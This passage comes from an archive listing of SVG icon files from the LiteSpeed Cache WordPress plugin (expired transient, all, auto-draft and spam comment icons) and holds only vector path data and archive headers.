	<path fill="#6699CC" d="M37.306,64.894c-0.483,0-0.875,0.392-0.875,0.875v1.453c0,0.483,0.392,0.875,0.875,0.875
		s0.875-0.392,0.875-0.875v-1.453C38.181,65.285,37.789,64.894,37.306,64.894z"/>
	<path fill="#6699CC" d="M37.306,37.75c0.483,0,0.875-0.392,0.875-0.875v-2.029c0-0.483-0.392-0.875-0.875-0.875
		s-0.875,0.392-0.875,0.875v2.029C36.431,37.358,36.822,37.75,37.306,37.75z"/>
	<path fill="#6699CC" d="M37.5,40.496c-6.108,0-11.078,4.97-11.078,11.079c0,6.108,4.97,11.078,11.078,11.078
		c6.109,0,11.079-4.97,11.079-11.078C48.578,45.466,43.608,40.496,37.5,40.496z M37.5,60.903c-5.144,0-9.328-4.185-9.328-9.328
		c0-5.145,4.185-9.329,9.328-9.329c5.144,0,9.329,4.185,9.329,9.329C46.828,56.719,42.644,60.903,37.5,60.903z"/>
	<path fill="#6699CC" d="M42.904,46.171c-0.342-0.342-0.896-0.342-1.238,0L37.5,50.336l-4.166-4.165
		c-0.342-0.342-0.896-0.342-1.237,0s-0.342,0.896,0,1.238l4.165,4.165l-4.165,4.165c-0.342,0.342-0.342,0.896,0,1.238
		c0.171,0.171,0.395,0.256,0.619,0.256s0.448-0.085,0.619-0.256l4.166-4.165l4.166,4.165c0.171,0.171,0.396,0.256,0.619,0.256
		s0.448-0.085,0.619-0.256c0.341-0.342,0.341-0.896,0-1.238l-4.165-4.165l4.165-4.165C43.245,47.067,43.245,46.513,42.904,46.171z"
		/>
	<path fill="#6699CC" d="M21.312,23.8c0.167,0.191,0.408,0.298,0.658,0.298c0.044,0,0.088-0.003,0.132-0.01l10.519-1.611
		c0.004,0,0.007-0.002,0.011-0.003c0.006-0.001,0.012-0.001,0.019-0.002c0.041-0.007,0.077-0.025,0.115-0.038
		c0.03-0.01,0.062-0.017,0.091-0.03c0.042-0.02,0.08-0.047,0.118-0.073c0.024-0.017,0.052-0.029,0.074-0.048
		c0.038-0.032,0.069-0.071,0.102-0.109c0.017-0.02,0.038-0.037,0.053-0.059c0.044-0.063,0.081-0.131,0.107-0.205l3.845-10.564
		c0.109-0.299,0.047-0.634-0.162-0.874L29.99,2.426c-0.023-0.026-0.052-0.045-0.077-0.068c-0.028-0.025-0.054-0.054-0.085-0.075
		c-0.034-0.023-0.071-0.039-0.108-0.058c-0.031-0.015-0.059-0.034-0.091-0.045c-0.036-0.013-0.073-0.018-0.11-0.026
		c-0.037-0.008-0.072-0.02-0.11-0.023c-0.035-0.003-0.071,0.001-0.106,0.003c-0.036,0.001-0.072-0.003-0.108,0.003L18.66,3.799
		c-0.314,0.05-0.577,0.266-0.686,0.565l-3.845,10.563c-0.027,0.075-0.043,0.153-0.049,0.23c0,0.005,0,0.009,0,0.014
		c-0.005,0.071-0.001,0.143,0.011,0.213c0.004,0.021,0.014,0.041,0.019,0.062c0.014,0.052,0.027,0.104,0.05,0.153
		c0.013,0.027,0.031,0.05,0.047,0.075c0.021,0.036,0.039,0.074,0.066,0.107c0.002,0.003,0.007,0.004,0.009,0.007
		c0.004,0.005,0.006,0.011,0.011,0.016L21.312,23.8z M22.311,22.285l-5.648-6.435l8.462-1.297l5.651,6.435L22.311,22.285z
		 M32.171,19.924l-2.026-2.306l-3.679-4.189l3.178-8.734l5.69,6.538L32.171,19.924z M19.442,5.447L28,4.096l-3.178,8.734
		l-8.543,1.309L19.442,5.447z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/expired_transient.svg000064400000007250151031165260023734 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M62.406,13.464c-0.043-0.11-0.104-0.216-0.195-0.303L52.215,3.56c-0.026-0.026-0.062-0.038-0.092-0.059
		c-0.057-0.041-0.109-0.085-0.177-0.111c-0.064-0.026-0.136-0.032-0.204-0.042c-0.035-0.004-0.067-0.021-0.104-0.021h-0.017H51.62
		H15.233c-1.502,0-2.724,1.222-2.724,2.723v63.723c0,1.501,1.222,2.723,2.724,2.723h44.535c1.501,0,2.723-1.222,2.723-2.723V13.818
		C62.491,13.69,62.458,13.573,62.406,13.464z M52.471,6.117l7.151,6.868h-7.041c-0.062,0-0.11-0.049-0.11-0.112V6.117z
		 M60.825,69.773c0,0.582-0.475,1.056-1.057,1.056H15.233c-0.583,0-1.057-0.474-1.057-1.056V6.05c0-0.583,0.474-1.057,1.057-1.057
		h35.571v7.879c0,0.98,0.798,1.778,1.776,1.778h8.244V69.773z"/>
	<path fill="#6699CC" d="M48.729,51.256c0-0.625-0.237-1.467-1.205-2.305c-1.33-2.633-2.331-4.074-4.078-6.423
		c-0.821-1.105-1.484-1.938-2.035-2.611c0.551-0.672,1.21-1.505,2.035-2.613c2.146-2.881,3.215-4.476,5.181-8.708
		c0.103-0.222,0.098-0.472,0.002-0.686c0-0.006,0.002-0.012,0.002-0.018c0-3.198-9.991-3.292-11.13-3.292
		s-11.129,0.092-11.129,3.292c0,0.004,0.001,0.008,0.001,0.011c-0.097,0.217-0.103,0.468,0,0.691
		c1.964,4.232,3.034,5.828,5.178,8.709c0.819,1.102,1.481,1.935,2.037,2.611c-0.553,0.675-1.215,1.51-2.037,2.612
		c-1.747,2.35-2.747,3.791-4.079,6.427c-0.961,0.834-1.202,1.675-1.202,2.301c0,0.1,0.022,0.193,0.034,0.291
		c-0.004,0.089,0.006,0.177,0.03,0.261c0.628,2.83,6.047,4.35,11.167,4.35c5.116,0,10.532-1.518,11.165-4.345
		c0.026-0.091,0.039-0.184,0.033-0.279C48.709,51.44,48.729,51.351,48.729,51.256z M41.804,49.128
		c-1.129,1.13-2.541,1.291-4.304,1.291s-3.12-0.108-4.303-1.291c0.818-1.763,1.247-2.388,2.112-3.55
		c0.865-1.164,1.309-1.616,2.19-2.693c0.88,1.077,1.325,1.529,2.189,2.693C40.555,46.742,40.983,47.366,41.804,49.128z
		 M32.099,50.228c1.612,1.611,3.474,1.746,5.401,1.746c1.769,0,3.79-0.135,5.4-1.746c0.395-0.395,0.524-0.96,0.387-1.486
		c0.854,0.238,1.614,0.524,2.225,0.852c0.263,0.142,0.489,0.289,0.69,0.438c0.21,0.421,0.428,0.87,0.66,1.365
		c-2.329,2.055-5.235,2.472-9.362,2.472c-3.839,0-6.8-0.185-9.363-2.47c0.233-0.497,0.452-0.946,0.663-1.37
		c0.21-0.155,0.453-0.31,0.732-0.456c0,0,0-0.001,0.001-0.001s0,0,0,0c0.6-0.316,1.345-0.594,2.18-0.827
		C31.576,49.268,31.706,49.833,32.099,50.228z M46.795,27.78c-3.325,1.332-5.402,1.703-9.295,1.703c-3.892,0-5.968-0.37-9.293-1.702
		c0.833-0.623,4.14-1.513,9.294-1.513C42.653,26.267,45.96,27.156,46.795,27.78z M32.887,43.522c1.029-1.38,1.801-2.328,2.421-3.073
		c0.257-0.31,0.257-0.758,0-1.066c-0.622-0.747-1.396-1.698-2.421-3.074c-1.672-2.246-2.638-3.645-3.91-6.153
		c3.044,0.983,7.762,1.026,8.523,1.026s5.476-0.043,8.52-1.025c-1.271,2.509-2.238,3.907-3.911,6.153
		c-1.033,1.388-1.803,2.333-2.42,3.073c-0.257,0.309-0.257,0.757,0,1.066c0.619,0.741,1.391,1.688,2.42,3.073
		c1.122,1.507,1.924,2.636,2.714,3.963c-0.712-0.258-1.497-0.481-2.347-0.656l0,0h-0.004c-0.002,0-0.002-0.001-0.004-0.001
		c0,0,0,0-0.001,0l-0.093-0.02c-0.437-0.782-0.845-1.358-1.438-2.157c-0.606-0.814-1.013-1.292-1.482-1.849
		c-0.225-0.266-0.465-0.548-0.753-0.901c-0.589-0.72-1.814-0.72-2.405,0c-0.289,0.354-0.53,0.64-0.754,0.903
		c-0.469,0.557-0.874,1.034-1.479,1.847c-0.595,0.801-1.002,1.375-1.438,2.157c-0.89,0.179-1.711,0.409-2.452,0.679
		C30.963,46.158,31.766,45.031,32.887,43.522z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/all.svg000064400000015710151031165260020755 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M56.164,37.484c-0.059-0.082-0.122-0.162-0.212-0.215c-0.005-0.002-0.01-0.001-0.015-0.004
		c-0.004-0.002-0.005-0.006-0.009-0.008l-2.159-1.183c-0.606-4.582-3.073-8.809-6.781-11.605c-0.079-0.059-0.167-0.093-0.256-0.123
		v-2.987c0-0.135-0.037-0.264-0.104-0.376c-0.021-0.037-0.061-0.057-0.088-0.09c-0.055-0.064-0.102-0.135-0.177-0.179
		c-0.004-0.002-0.009-0.001-0.013-0.003c-0.004-0.002-0.005-0.007-0.009-0.009l-8.482-4.647c-0.225-0.123-0.496-0.123-0.721,0
		l-8.483,4.647c-0.004,0.002-0.005,0.006-0.009,0.008c-0.004,0.002-0.009,0.001-0.013,0.004c-0.075,0.044-0.124,0.115-0.178,0.181
		c-0.026,0.032-0.066,0.053-0.087,0.088c-0.065,0.113-0.103,0.242-0.103,0.376v3.111c-0.087,0.03-0.174,0.063-0.251,0.121
		c-3.66,2.766-6.112,6.938-6.745,11.458l-2.203,1.207c-0.004,0.002-0.005,0.007-0.009,0.009c-0.004,0.002-0.009,0.001-0.013,0.003
		c-0.075,0.044-0.122,0.114-0.176,0.179c-0.027,0.033-0.067,0.053-0.089,0.09c-0.065,0.113-0.103,0.242-0.103,0.376v10.221
		c0,0.272,0.148,0.524,0.387,0.656l8.483,4.695c0.113,0.063,0.238,0.094,0.363,0.094s0.25-0.031,0.363-0.094l2.121-1.174
		c0.097,0.127,0.215,0.239,0.376,0.3c2.006,0.758,4.12,1.143,6.283,1.143c2.454,0,4.83-0.491,7.061-1.459
		c0.079-0.034,0.14-0.089,0.202-0.142l2.406,1.332c0.113,0.063,0.238,0.094,0.363,0.094s0.25-0.031,0.363-0.094l8.482-4.696
		c0.238-0.132,0.387-0.384,0.387-0.656v-10.22c0-0.136-0.039-0.266-0.105-0.379C56.202,37.515,56.179,37.503,56.164,37.484z
		 M39.354,47.691v-8.511l6.984,3.824v8.553L39.354,47.691z M47.775,41.328l-0.688,0.376l-6.923-3.79l6.923-3.792l6.92,3.792
		L47.775,41.328z M29.767,22.625l6.983,3.825v8.554l-6.983-3.867V22.625z M38.251,26.449l6.981-3.825v8.512l-6.981,3.867V26.449z
		 M37.5,17.566l6.921,3.792L37.5,25.15l-6.922-3.792L37.5,17.566z M28.927,41.148l-1.015,0.556l-6.922-3.79l6.922-3.792l6.921,3.792
		L28.927,41.148z M20.179,39.181l6.983,3.823v8.554l-6.983-3.865V39.181z M28.662,43.004l6.983-3.824v8.513l-6.983,3.865V43.004z
		 M32.29,51.265l4.469-2.474c0.239-0.132,0.387-0.384,0.387-0.656V37.914c0-0.136-0.038-0.265-0.104-0.377
		c-0.017-0.028-0.048-0.043-0.068-0.069c-0.057-0.073-0.113-0.149-0.195-0.198c-0.004-0.002-0.01-0.001-0.014-0.004
		c-0.003-0.002-0.005-0.007-0.009-0.009l-8.482-4.647c-0.225-0.123-0.496-0.123-0.721,0l-4.299,2.355
		c0.743-3.207,2.516-6.133,5.015-8.303v4.917c0,0.273,0.148,0.524,0.387,0.656l8.483,4.697c0.113,0.063,0.238,0.094,0.363,0.094
		s0.25-0.031,0.363-0.094l8.482-4.697c0.238-0.132,0.387-0.383,0.387-0.656v-5.045c2.547,2.205,4.339,5.188,5.065,8.46l-4.35-2.384
		c-0.225-0.123-0.496-0.123-0.721,0l-8.484,4.647c-0.004,0.002-0.006,0.007-0.009,0.009c-0.005,0.002-0.01,0.001-0.014,0.004
		c-0.075,0.044-0.123,0.115-0.177,0.18c-0.027,0.032-0.066,0.053-0.087,0.088c-0.065,0.113-0.103,0.242-0.103,0.376v10.22
		c0,0.272,0.148,0.524,0.387,0.656l4.14,2.291C39.143,52.218,35.566,52.28,32.29,51.265z M54.82,47.691l-6.982,3.866v-8.554
		l4.363-2.39l2.619-1.435V47.691z"/>
	<path fill="#6699CC" d="M66.554,43.38l-4.544-3.116c0.121-1.014,0.178-1.903,0.178-2.765c0-0.859-0.057-1.75-0.178-2.769
		l4.543-3.11c0.297-0.203,0.439-0.567,0.358-0.918c-0.412-1.793-0.948-3.472-1.594-4.992c-0.141-0.331-0.435-0.543-0.83-0.532
		l-5.511,0.151c-0.905-1.59-2.004-3.092-3.274-4.478l1.841-5.181c0.121-0.339,0.021-0.717-0.25-0.953
		c-1.303-1.134-2.73-2.171-4.244-3.083c-0.307-0.186-0.699-0.165-0.984,0.056l-4.357,3.352c-1.702-0.773-3.47-1.349-5.269-1.714
		l-1.552-5.281c-0.103-0.346-0.405-0.594-0.765-0.625c-1.425-0.122-3.825-0.122-5.243,0c-0.359,0.031-0.663,0.279-0.764,0.625
		l-1.555,5.281c-1.798,0.365-3.565,0.94-5.266,1.714l-4.355-3.352c-0.286-0.22-0.676-0.243-0.983-0.057
		c-1.515,0.908-2.946,1.945-4.253,3.084c-0.271,0.236-0.37,0.614-0.25,0.953l1.844,5.18c-1.275,1.391-2.375,2.893-3.277,4.478
		l-5.509-0.151c-0.358-0.016-0.689,0.202-0.829,0.533c-0.652,1.535-1.173,3.167-1.593,4.991c-0.081,0.351,0.061,0.715,0.358,0.918
		l4.543,3.11c-0.119,0.998-0.177,1.909-0.177,2.769c0,0.858,0.058,1.768,0.177,2.767L8.446,43.38
		c-0.296,0.203-0.438,0.566-0.358,0.917c0.41,1.786,0.945,3.464,1.593,4.987c0.14,0.332,0.474,0.531,0.829,0.533l5.51-0.151
		c0.902,1.586,2.001,3.09,3.276,4.481l-1.843,5.181c-0.121,0.339-0.021,0.717,0.25,0.953c1.297,1.129,2.727,2.166,4.251,3.084
		c0.309,0.188,0.7,0.164,0.985-0.056l4.356-3.355c1.701,0.775,3.467,1.351,5.265,1.715l1.553,5.28
		c0.102,0.345,0.403,0.593,0.761,0.624c1.039,0.094,1.849,0.135,2.625,0.135c0.776,0,1.585-0.041,2.625-0.135
		c0.357-0.031,0.66-0.279,0.762-0.624l1.552-5.28c1.8-0.365,3.565-0.94,5.263-1.715l4.363,3.355c0.285,0.22,0.677,0.241,0.985,0.056
		c1.521-0.917,2.949-1.955,4.249-3.085c0.271-0.236,0.371-0.614,0.25-0.954l-1.845-5.18c1.272-1.391,2.372-2.895,3.277-4.48
		l5.506,0.151c0.401-0.007,0.688-0.202,0.829-0.532c0.646-1.516,1.182-3.193,1.595-4.987C66.992,43.947,66.85,43.583,66.554,43.38z
		 M63.932,48.051l-5.433-0.149c-0.369-0.005-0.637,0.169-0.794,0.459c-0.961,1.778-2.185,3.451-3.637,4.975
		c-0.229,0.238-0.303,0.586-0.191,0.897l1.82,5.112c-0.951,0.792-1.972,1.532-3.045,2.21l-4.307-3.313
		c-0.261-0.202-0.617-0.238-0.913-0.095c-1.871,0.902-3.835,1.542-5.837,1.901c-0.326,0.059-0.592,0.297-0.686,0.614l-1.533,5.217
		c-1.425,0.108-2.333,0.106-3.754,0l-1.535-5.217c-0.093-0.318-0.359-0.556-0.685-0.614c-2-0.358-3.964-0.998-5.839-1.901
		c-0.298-0.145-0.651-0.107-0.914,0.095l-4.3,3.313c-1.076-0.678-2.096-1.418-3.046-2.209l1.819-5.114
		c0.111-0.312,0.037-0.658-0.191-0.897c-1.456-1.523-2.678-3.196-3.634-4.973c-0.157-0.29-0.467-0.472-0.794-0.46l-5.438,0.149
		c-0.44-1.112-0.821-2.308-1.134-3.567l4.489-3.076c0.273-0.187,0.417-0.512,0.373-0.84c-0.155-1.135-0.23-2.139-0.23-3.068
		c0-0.932,0.075-1.937,0.23-3.07c0.044-0.328-0.1-0.653-0.373-0.84l-4.488-3.072c0.318-1.28,0.692-2.458,1.135-3.573l5.437,0.149
		c0.326,0.02,0.637-0.169,0.794-0.459c0.957-1.774,2.18-3.446,3.635-4.969c0.229-0.239,0.303-0.586,0.192-0.898l-1.82-5.114
		c0.956-0.796,1.976-1.536,3.045-2.207l4.299,3.309c0.262,0.202,0.616,0.239,0.913,0.095c1.875-0.902,3.841-1.542,5.842-1.901
		c0.326-0.059,0.591-0.296,0.685-0.614l1.536-5.216c1.131-0.084,2.618-0.084,3.753,0l1.533,5.215
		c0.094,0.318,0.358,0.556,0.685,0.615c2.002,0.36,3.968,1,5.845,1.901c0.297,0.143,0.651,0.106,0.912-0.095l4.301-3.309
		c1.068,0.673,2.087,1.413,3.04,2.207l-1.817,5.114c-0.111,0.312-0.037,0.659,0.191,0.897c1.449,1.516,2.672,3.188,3.632,4.969
		c0.157,0.291,0.414,0.481,0.795,0.459l5.438-0.149c0.44,1.111,0.82,2.308,1.136,3.573l-4.487,3.072
		c-0.272,0.187-0.417,0.511-0.373,0.839c0.157,1.169,0.23,2.146,0.23,3.072c0,0.929-0.073,1.903-0.23,3.067
		c-0.044,0.327,0.1,0.652,0.372,0.839l4.488,3.077C64.752,45.747,64.371,46.943,63.932,48.051z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/auto_draft.svg000064400000013031151031165260022327 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M61.821,13.089c-0.041-0.114-0.104-0.222-0.197-0.311L51.641,3.19c-0.032-0.03-0.071-0.042-0.104-0.066
		c-0.054-0.039-0.103-0.08-0.166-0.104c-0.07-0.029-0.145-0.036-0.219-0.044c-0.032-0.004-0.063-0.02-0.097-0.02h-0.015
		c-0.002,0-0.004,0-0.004,0H15.826c-1.506,0-2.731,1.224-2.731,2.729v63.631c0,1.505,1.225,2.729,2.731,2.729h43.351
		c1.506,0,2.729-1.225,2.729-2.729V13.441C61.906,13.314,61.872,13.196,61.821,13.089z M51.899,5.776l7.105,6.823h-7.004
		c-0.058,0-0.102-0.044-0.102-0.101V5.776L51.899,5.776z M60.222,69.315c0,0.576-0.47,1.045-1.045,1.045H15.826
		c-0.578,0-1.046-0.469-1.046-1.045V5.684c0-0.576,0.469-1.043,1.046-1.043h34.388v7.857c0,0.985,0.801,1.786,1.785,1.786h8.221
		v55.031H60.222z"/>
	<path fill="#6699CC" d="M42.681,38.698l-7.151-4.129c-0.261-0.15-0.582-0.15-0.843,0c-0.26,0.15-0.421,0.428-0.421,0.73v8.257
		c0,0.302,0.161,0.579,0.421,0.73c0.13,0.074,0.277,0.112,0.422,0.112c0.146,0,0.291-0.038,0.422-0.112l7.152-4.13
		c0.261-0.149,0.424-0.428,0.424-0.729C43.105,39.126,42.94,38.847,42.681,38.698z M35.951,42.096v-5.338l4.624,2.669L35.951,42.096
		z"/>
	<path fill="#6699CC" d="M48.729,29.417l1.035-2.911c0.116-0.326,0.021-0.691-0.239-0.918c-0.797-0.69-1.664-1.32-2.581-1.872
		c-0.297-0.179-0.672-0.157-0.947,0.054l-2.448,1.885c-0.924-0.406-1.877-0.717-2.846-0.928l-0.873-2.968
		c-0.099-0.333-0.39-0.572-0.736-0.601c-0.861-0.074-2.321-0.074-3.185,0c-0.346,0.029-0.637,0.269-0.736,0.601l-0.874,2.968
		c-0.969,0.21-1.923,0.521-2.846,0.928l-2.447-1.885c-0.276-0.212-0.651-0.234-0.948-0.055c-0.92,0.552-1.789,1.183-2.582,1.873
		c-0.261,0.228-0.358,0.592-0.241,0.918l1.036,2.911c-0.678,0.757-1.271,1.568-1.771,2.421l-3.096-0.084
		c-0.34-0.009-0.663,0.193-0.799,0.512c-0.39,0.918-0.716,1.937-0.969,3.03c-0.078,0.338,0.059,0.688,0.345,0.885l2.552,1.747
		c-0.058,0.539-0.085,1.024-0.085,1.499c0,0.474,0.028,0.958,0.085,1.497l-2.552,1.748c-0.287,0.196-0.423,0.546-0.345,0.884
		c0.25,1.089,0.577,2.106,0.968,3.03c0.136,0.32,0.436,0.505,0.8,0.513l3.096-0.085c0.5,0.853,1.093,1.664,1.771,2.422l-1.035,2.912
		c-0.117,0.326-0.02,0.689,0.241,0.918c0.785,0.683,1.653,1.313,2.58,1.872c0.297,0.18,0.675,0.157,0.95-0.055l2.448-1.886
		c0.922,0.405,1.874,0.716,2.844,0.929l0.875,2.968c0.098,0.332,0.39,0.571,0.735,0.602c0.428,0.037,0.996,0.078,1.592,0.078
		c0.596,0,1.163-0.041,1.592-0.078c0.347-0.03,0.638-0.27,0.737-0.602l0.873-2.968c0.969-0.213,1.921-0.521,2.843-0.929l2.45,1.885
		c0.275,0.213,0.653,0.233,0.949,0.056c0.928-0.561,1.798-1.191,2.583-1.876c0.261-0.227,0.356-0.592,0.239-0.916l-1.035-2.91
		c0.677-0.758,1.271-1.569,1.771-2.422l3.098,0.085c0.394-0.011,0.663-0.192,0.798-0.513c0.393-0.926,0.719-1.945,0.969-3.03
		c0.078-0.338-0.06-0.688-0.345-0.884l-2.553-1.749c0.06-0.536,0.087-1.028,0.087-1.496c0-0.476-0.027-0.962-0.086-1.499
		l2.552-1.747c0.286-0.197,0.423-0.547,0.345-0.884c-0.251-1.09-0.577-2.11-0.971-3.031c-0.132-0.311-0.437-0.512-0.775-0.512
		c-0.008,0-0.015,0-0.022,0l-3.098,0.084C49.998,30.983,49.404,30.172,48.729,29.417z M53.587,35.12l-2.494,1.708
		c-0.263,0.18-0.4,0.493-0.358,0.809c0.092,0.676,0.135,1.243,0.135,1.791c0,0.545-0.043,1.114-0.135,1.787
		c-0.042,0.316,0.096,0.629,0.358,0.81l2.494,1.708c-0.152,0.583-0.33,1.141-0.528,1.667l-3.019-0.084
		c-0.352-0.007-0.612,0.163-0.765,0.443c-0.559,1.035-1.271,2.011-2.118,2.896c-0.221,0.229-0.292,0.564-0.184,0.864l1.01,2.841
		c-0.448,0.361-0.926,0.708-1.425,1.03l-2.39-1.839c-0.25-0.193-0.591-0.229-0.878-0.091c-1.092,0.525-2.236,0.899-3.402,1.106
		c-0.314,0.059-0.57,0.287-0.66,0.593l-0.852,2.899c-0.55,0.034-1.203,0.034-1.752,0l-0.854-2.899
		c-0.091-0.306-0.345-0.535-0.66-0.593c-1.167-0.207-2.312-0.581-3.403-1.106c-0.287-0.14-0.626-0.103-0.879,0.091l-2.388,1.84
		c-0.497-0.322-0.974-0.668-1.424-1.03l1.01-2.842c0.107-0.301,0.036-0.635-0.185-0.864c-0.849-0.887-1.562-1.862-2.119-2.896
		c-0.152-0.281-0.438-0.45-0.766-0.444l-3.018,0.084c-0.199-0.526-0.375-1.083-0.528-1.667l2.493-1.706
		c0.263-0.18,0.402-0.492,0.359-0.809c-0.092-0.68-0.135-1.25-0.135-1.79c0-0.544,0.042-1.111,0.135-1.791
		c0.042-0.316-0.097-0.628-0.359-0.808l-2.493-1.707c0.154-0.586,0.33-1.145,0.528-1.667l3.019,0.083
		c0.316,0.025,0.613-0.161,0.765-0.442c0.558-1.035,1.271-2.009,2.12-2.896c0.22-0.229,0.292-0.564,0.185-0.865l-1.011-2.84
		c0.452-0.364,0.928-0.709,1.423-1.03l2.388,1.838c0.253,0.194,0.593,0.229,0.879,0.091c1.093-0.526,2.239-0.9,3.404-1.108
		c0.314-0.057,0.569-0.285,0.66-0.591l0.854-2.898c0.551-0.035,1.199-0.035,1.752,0l0.852,2.898c0.092,0.306,0.345,0.535,0.66,0.591
		c1.165,0.208,2.311,0.582,3.405,1.108c0.285,0.138,0.625,0.102,0.879-0.091l2.387-1.838c0.494,0.321,0.971,0.666,1.423,1.031
		l-1.01,2.84c-0.108,0.301-0.036,0.636,0.184,0.864c0.845,0.882,1.558,1.857,2.12,2.896c0.146,0.274,0.43,0.442,0.741,0.442
		c0.007,0,0.014,0,0.021,0l3.02-0.083C53.257,33.978,53.435,34.536,53.587,35.12z"/>
	<path fill="#6699CC" d="M37.5,29.626c-5.404,0-9.801,4.396-9.801,9.799c0,5.402,4.397,9.803,9.801,9.803s9.8-4.398,9.8-9.803
		C47.3,34.022,42.904,29.626,37.5,29.626z M37.5,47.543c-4.475,0-8.116-3.641-8.116-8.117c0-4.475,3.642-8.114,8.116-8.114
		c4.474,0,8.114,3.639,8.114,8.114S41.974,47.543,37.5,47.543z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/spam_comment.svg000064400000006656151031165260022700 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M65.631,35.152c-0.053-0.112-0.125-0.216-0.227-0.3l-3.545-2.941l2.103-1.267
		c0.263-0.157,0.422-0.438,0.425-0.743c0.002-0.304-0.154-0.588-0.412-0.749l-3.882-2.417l1.966-3.417
		c0.799-1.297,0.395-3.003-0.92-3.815L36.428,5.109c-1.296-0.803-3.003-0.4-3.815,0.913L21.069,25.613
		c-0.146,0.025-0.288,0.074-0.41,0.175l-11.062,9.19c-0.031,0.026-0.046,0.062-0.073,0.09c-0.958,0.463-1.625,1.436-1.625,2.569
		v33.007c0,1.578,1.284,2.862,2.862,2.862h53.477c1.578,0,2.861-1.284,2.861-2.862V37.637
		C67.102,36.567,66.504,35.643,65.631,35.152z M33.131,55.07L9.671,70.753c-0.004-0.037-0.022-0.069-0.022-0.106V37.637
		c0-0.21,0.075-0.396,0.177-0.565c-0.004,0.271,0.101,0.539,0.333,0.714L33.131,55.07z M35.793,55.396
		c0.047-0.032,0.092-0.068,0.132-0.109c0.876-0.875,2.404-0.875,3.277,0c0.041,0.041,0.086,0.078,0.134,0.109L63.87,71.758H11.317
		L35.793,55.396z M65.331,70.63L41.773,54.92l23.502-17.647c0.041,0.115,0.074,0.235,0.074,0.365v33.008v0.002
		C65.343,70.645,65.339,70.635,65.331,70.63z M60.342,32.925l3.71,3.079l-17.312,13l7.267-12.359l6.281-3.786
		C60.309,32.879,60.318,32.906,60.342,32.925z M34.111,6.927c0.295-0.476,0.922-0.623,1.416-0.318l24.709,14.395
		c0.477,0.294,0.625,0.921,0.318,1.42l-2.4,4.171c-0.234,0.409-0.104,0.93,0.296,1.179l3.386,2.108l-8.922,5.377
		c-0.125,0.075-0.229,0.181-0.303,0.306L43.25,51.488c-0.034,0.059-0.044,0.121-0.063,0.185l-2.944,2.21
		c-1.532-1.338-4.009-1.313-5.489,0.104l-0.081,0.055L15.049,39.275L34.111,6.927z M13.642,38.217l-2.431-1.829
		c-0.118-0.089-0.252-0.132-0.389-0.153l7.812-6.489L13.642,38.217z"/>
	<path fill="#6699CC" d="M28.153,46.658c1.823,1.126,3.914,1.721,6.046,1.721c4.031,0,7.701-2.045,9.814-5.47
		c1.617-2.619,2.119-5.711,1.411-8.707s-2.54-5.537-5.159-7.154c-1.822-1.126-3.914-1.721-6.045-1.721
		c-4.03,0-7.699,2.045-9.814,5.47C21.066,36.201,22.747,43.316,28.153,46.658z M42.523,41.989c-1.793,2.905-4.905,4.64-8.325,4.64
		c-1.808,0-3.58-0.505-5.126-1.459c-2.025-1.252-3.431-3.129-4.129-5.229l18.938-4.476C44.21,37.732,43.742,40.02,42.523,41.989z
		 M25.894,31.716c1.794-2.905,4.907-4.64,8.326-4.64c1.807,0,3.58,0.505,5.125,1.46c1.973,1.217,3.413,3.053,4.135,5.227
		l-18.938,4.473C24.226,36.048,24.643,33.741,25.894,31.716z"/>
	<path fill="#6699CC" d="M32.743,20.526c0.139,0.082,0.292,0.121,0.442,0.121c0.3,0,0.592-0.154,0.755-0.432l3.168-5.388
		c0.245-0.417,0.105-0.953-0.311-1.198c-0.417-0.247-0.954-0.105-1.198,0.311l-3.168,5.388
		C32.188,19.745,32.327,20.281,32.743,20.526z"/>
	<path fill="#6699CC" d="M42.586,23.268c0.141,0.082,0.292,0.121,0.441,0.121c0.301,0,0.593-0.154,0.756-0.432l1.838-3.125
		c0.245-0.417,0.105-0.953-0.311-1.198c-0.416-0.244-0.953-0.106-1.197,0.311l-1.838,3.125
